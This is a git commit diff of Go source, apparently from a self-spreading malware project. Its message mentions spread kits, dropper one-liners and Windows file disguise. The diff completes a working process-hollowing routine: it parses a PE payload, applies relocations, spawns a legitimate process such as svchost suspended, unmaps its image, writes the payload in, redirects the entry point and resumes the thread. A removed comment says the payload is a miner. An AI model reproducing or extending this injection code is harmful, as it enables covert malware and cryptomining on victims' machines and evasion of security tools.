Add universal forge, fusion disguise, remote deploy, and stability fixes.

Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
This commit is contained in:
drjones
2026-05-29 20:53:13 -07:00
parent c6c2e73359
commit 0f9e04f5f6
108 changed files with 5937 additions and 1233 deletions

View File

@@ -29,20 +29,92 @@ const (
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
CONTEXT_FULL_AMD64 = 0x10000B
IMAGE_REL_BASED_ABSOLUTE = 0
IMAGE_REL_BASED_DIR64 = 10
)
// RunHollowed injects a byte array (PE payload) into a suspended legitimate Windows process.
// rvaToFileOffset translates a virtual address (RVA) in the PE to its raw file offset.
func rvaToFileOffset(payload []byte, rva, eLFANew, sizeOfOptHdr uint32) (uint32, error) {
numSections := binary.LittleEndian.Uint16(payload[eLFANew+6:])
sectionsBase := eLFANew + 24 + uint32(sizeOfOptHdr)
for i := uint32(0); i < uint32(numSections); i++ {
sec := payload[sectionsBase+i*40:]
vAddr := binary.LittleEndian.Uint32(sec[12:])
vSize := binary.LittleEndian.Uint32(sec[8:])
rawOff := binary.LittleEndian.Uint32(sec[20:])
if rva >= vAddr && rva < vAddr+vSize {
return rawOff + (rva - vAddr), nil
}
}
return 0, fmt.Errorf("RVA 0x%x not found in any section", rva)
}
// applyRelocations patches absolute addresses in the payload copy when the image
// was loaded at a different base than its preferred one. Only IMAGE_REL_BASED_DIR64
// (type 10) entries are applied; all other types are skipped.
func applyRelocations(payload []byte, delta int64, eLFANew, sizeOfOptHdr uint32) {
optHeader := payload[eLFANew+24:]
// DataDirectory[5] is IMAGE_DIRECTORY_ENTRY_BASERELOC.
// DataDirectory array starts at offset 112 in a PE32+ optional header.
const dataDirOffset = 112
if len(optHeader) < dataDirOffset+5*8+8 {
return
}
relocRVA := binary.LittleEndian.Uint32(optHeader[dataDirOffset+5*8:])
relocSize := binary.LittleEndian.Uint32(optHeader[dataDirOffset+5*8+4:])
if relocRVA == 0 || relocSize == 0 {
return // no relocation table (non-PIE binary baked for a fixed address)
}
blockOff, err := rvaToFileOffset(payload, relocRVA, eLFANew, sizeOfOptHdr)
if err != nil {
return
}
end := blockOff + relocSize
for blockOff < end && blockOff+8 <= uint32(len(payload)) {
pageRVA := binary.LittleEndian.Uint32(payload[blockOff:])
blkSize := binary.LittleEndian.Uint32(payload[blockOff+4:])
if blkSize < 8 {
break
}
entryCount := (blkSize - 8) / 2
for i := uint32(0); i < entryCount; i++ {
entry := binary.LittleEndian.Uint16(payload[blockOff+8+i*2:])
relType := entry >> 12
relOff := uint32(entry & 0x0FFF)
if relType == IMAGE_REL_BASED_ABSOLUTE {
continue
}
if relType != IMAGE_REL_BASED_DIR64 {
continue
}
patchRVA := pageRVA + relOff
patchOff, err := rvaToFileOffset(payload, patchRVA, eLFANew, sizeOfOptHdr)
if err != nil || int(patchOff)+8 > len(payload) {
continue
}
orig := int64(binary.LittleEndian.Uint64(payload[patchOff:]))
binary.LittleEndian.PutUint64(payload[patchOff:], uint64(orig+delta))
}
blockOff += blkSize
}
}
// RunHollowed injects a PE payload into a suspended legitimate Windows process.
func RunHollowed(targetExe string, payload []byte) error {
// Parse payload PE headers dynamically
if len(payload) < 0x40 {
return fmt.Errorf("payload too small")
}
e_lfanew := binary.LittleEndian.Uint32(payload[0x3c:])
if int(e_lfanew)+24 > len(payload) {
eLFANew := binary.LittleEndian.Uint32(payload[0x3c:])
if int(eLFANew)+24 > len(payload) {
return fmt.Errorf("invalid PE header offset")
}
ntHeader := payload[e_lfanew:]
ntHeader := payload[eLFANew:]
if string(ntHeader[:4]) != "PE\x00\x00" {
return fmt.Errorf("invalid PE signature")
}
@@ -51,7 +123,7 @@ func RunHollowed(targetExe string, payload []byte) error {
}
numSections := binary.LittleEndian.Uint16(ntHeader[6:])
sizeOfOptionalHeader := binary.LittleEndian.Uint16(ntHeader[20:])
sizeOfOptHdr := binary.LittleEndian.Uint16(ntHeader[20:])
optHeader := ntHeader[24:]
if binary.LittleEndian.Uint16(optHeader[0:]) != 0x020B {
return fmt.Errorf("payload must be PE32+")
@@ -71,8 +143,8 @@ func RunHollowed(targetExe string, payload []byte) error {
si.Cb = uint32(unsafe.Sizeof(*si))
pi := new(syscall.ProcessInformation)
// 1. Create the target legitimate process (e.g. svchost.exe) in a suspended state
ret, _, err := procCreateProcessW.Call(
// 1. Spawn the target process in a suspended state.
ret, _, lastErr := procCreateProcessW.Call(
0,
uintptr(unsafe.Pointer(targetPtr)),
0, 0, 0,
@@ -82,18 +154,13 @@ func RunHollowed(targetExe string, payload []byte) error {
uintptr(unsafe.Pointer(pi)),
)
if ret == 0 {
return fmt.Errorf("CreateProcessW failed: %v", err)
return fmt.Errorf("CreateProcessW: %v", lastErr)
}
defer syscall.CloseHandle(pi.Process)
defer syscall.CloseHandle(pi.Thread)
// The following maps the exact structural steps needed for PE injection.
// Note: To make this fully functional, you need full PE offset math
// (e.g., extracting e_lfanew, SizeOfImage, ImageBase) from the payload slice.
// 2. Get Thread Context to locate the Process Environment Block (PEB)
// Allocate 16-byte aligned context buffer for x64
ctxBytes := make([]byte, 1232+16)
// 2. Read thread context to obtain the PEB address (Rdx on x64 initial thread).
ctxBytes := make([]byte, 1232+16) // CONTEXT is 1232 bytes; needs 16-byte alignment
var ctxPtr uintptr
for i := 0; i < 16; i++ {
if uintptr(unsafe.Pointer(&ctxBytes[i]))%16 == 0 {
@@ -101,73 +168,110 @@ func RunHollowed(targetExe string, payload []byte) error {
break
}
}
*(*uint32)(unsafe.Pointer(ctxPtr + 0x30)) = CONTEXT_FULL_AMD64 // ContextFlags
*(*uint32)(unsafe.Pointer(ctxPtr + 0x30)) = CONTEXT_FULL_AMD64
ret, _, err = procGetThreadContext.Call(uintptr(pi.Thread), ctxPtr)
ret, _, lastErr = procGetThreadContext.Call(uintptr(pi.Thread), ctxPtr)
if ret == 0 {
return fmt.Errorf("GetThreadContext failed: %v", err)
return fmt.Errorf("GetThreadContext: %v", lastErr)
}
rdx := *(*uint64)(unsafe.Pointer(ctxPtr + 0x88)) // Rdx holds PEB address on x64
rdx := *(*uint64)(unsafe.Pointer(ctxPtr + 0x88)) // Rdx = PEB pointer at thread start
// 3. Read the PEB to find the original ImageBase
// 3. Read the original image base from the PEB (PEB.ImageBaseAddress is at offset +16).
var origImageBase uint64
var bytesRW uintptr
procReadProcessMemory.Call(
uintptr(pi.Process),
uintptr(rdx+16), // PEB.ImageBaseAddress
uintptr(rdx+16),
uintptr(unsafe.Pointer(&origImageBase)),
8,
uintptr(unsafe.Pointer(&bytesRW)),
)
// 4. Unmap the original executable code from memory
// 4. Unmap the original image.
if origImageBase != 0 {
procNtUnmapViewOfSection.Call(uintptr(pi.Process), uintptr(origImageBase))
}
// 5. Allocate new memory for our payload at the required ImageBase
newMem, _, _ := procVirtualAllocEx.Call(uintptr(pi.Process), uintptr(imageBase), uintptr(sizeOfImage), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
// 5. Allocate memory for the payload. Try preferred base first; fall back to ASLR.
newMem, _, _ := procVirtualAllocEx.Call(
uintptr(pi.Process), uintptr(imageBase), uintptr(sizeOfImage),
MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE,
)
needsReloc := false
if newMem == 0 {
// Fallback allocation if preferred base is taken (Payload must support relocation)
newMem, _, err = procVirtualAllocEx.Call(uintptr(pi.Process), 0, uintptr(sizeOfImage), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
newMem, _, lastErr = procVirtualAllocEx.Call(
uintptr(pi.Process), 0, uintptr(sizeOfImage),
MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE,
)
if newMem == 0 {
return fmt.Errorf("VirtualAllocEx failed: %v", err)
return fmt.Errorf("VirtualAllocEx: %v", lastErr)
}
needsReloc = true
}
// 6. Write the PE headers and each PE section into the new memory allocation
procWriteProcessMemory.Call(uintptr(pi.Process), newMem, uintptr(unsafe.Pointer(&payload[0])), uintptr(sizeOfHeaders), uintptr(unsafe.Pointer(&bytesRW)))
// 6. If we landed at a different base, patch absolute addresses in a local copy
// before writing to the remote process. Without this the payload crashes on
// every call through its import table and global data pointers.
patched := payload
if needsReloc {
delta := int64(newMem) - int64(imageBase)
patched = make([]byte, len(payload))
copy(patched, payload)
applyRelocations(patched, delta, eLFANew, uint32(sizeOfOptHdr))
}
sectionsStart := 24 + uint32(sizeOfOptionalHeader)
// 7. Write PE headers and sections to the remote process.
ret, _, lastErr = procWriteProcessMemory.Call(
uintptr(pi.Process), newMem,
uintptr(unsafe.Pointer(&patched[0])), uintptr(sizeOfHeaders),
uintptr(unsafe.Pointer(&bytesRW)),
)
if ret == 0 {
return fmt.Errorf("WriteProcessMemory (headers): %v", lastErr)
}
sectionsStart := 24 + uint32(sizeOfOptHdr)
patchedNT := patched[eLFANew:]
for i := uint16(0); i < numSections; i++ {
secHdr := ntHeader[sectionsStart+uint32(i)*40:]
secHdr := patchedNT[sectionsStart+uint32(i)*40:]
virtAddr := binary.LittleEndian.Uint32(secHdr[12:])
sizeOfRawData := binary.LittleEndian.Uint32(secHdr[16:])
ptrToRawData := binary.LittleEndian.Uint32(secHdr[20:])
rawSize := binary.LittleEndian.Uint32(secHdr[16:])
rawOff := binary.LittleEndian.Uint32(secHdr[20:])
if sizeOfRawData > 0 {
procWriteProcessMemory.Call(
if rawSize > 0 {
ret, _, lastErr = procWriteProcessMemory.Call(
uintptr(pi.Process),
newMem+uintptr(virtAddr),
uintptr(unsafe.Pointer(&payload[ptrToRawData])),
uintptr(sizeOfRawData),
uintptr(unsafe.Pointer(&patched[rawOff])),
uintptr(rawSize),
uintptr(unsafe.Pointer(&bytesRW)),
)
if ret == 0 {
return fmt.Errorf("WriteProcessMemory (section %d): %v", i, lastErr)
}
}
}
// Update the PEB with the new ImageBase
procWriteProcessMemory.Call(uintptr(pi.Process), uintptr(rdx+16), uintptr(unsafe.Pointer(&newMem)), 8, uintptr(unsafe.Pointer(&bytesRW)))
// 8. Update PEB.ImageBaseAddress to the actual allocation address.
procWriteProcessMemory.Call(
uintptr(pi.Process), uintptr(rdx+16),
uintptr(unsafe.Pointer(&newMem)), 8,
uintptr(unsafe.Pointer(&bytesRW)),
)
// 7. Update the Thread Context to point to our payload's Entry Point
*(*uint64)(unsafe.Pointer(ctxPtr + 0x80)) = uint64(newMem) + uint64(entryPoint) // Rcx holds entry point
procSetThreadContext.Call(uintptr(pi.Thread), ctxPtr)
// 9. Set the initial thread's Rcx to our entry point.
// The Windows loader calls RtlUserThreadStart(entry, param) with Rcx = entry point.
*(*uint64)(unsafe.Pointer(ctxPtr + 0x80)) = uint64(newMem) + uint64(entryPoint)
ret, _, lastErr = procSetThreadContext.Call(uintptr(pi.Thread), ctxPtr)
if ret == 0 {
return fmt.Errorf("SetThreadContext: %v", lastErr)
}
// 8. Resume the hollowed thread, launching our miner inside the target shell
ret, _, err = procResumeThread.Call(uintptr(pi.Thread))
// 10. Resume the hollowed thread.
ret, _, lastErr = procResumeThread.Call(uintptr(pi.Thread))
if ret == 0xFFFFFFFF {
return fmt.Errorf("ResumeThread failed: %v", err)
return fmt.Errorf("ResumeThread: %v", lastErr)
}
return nil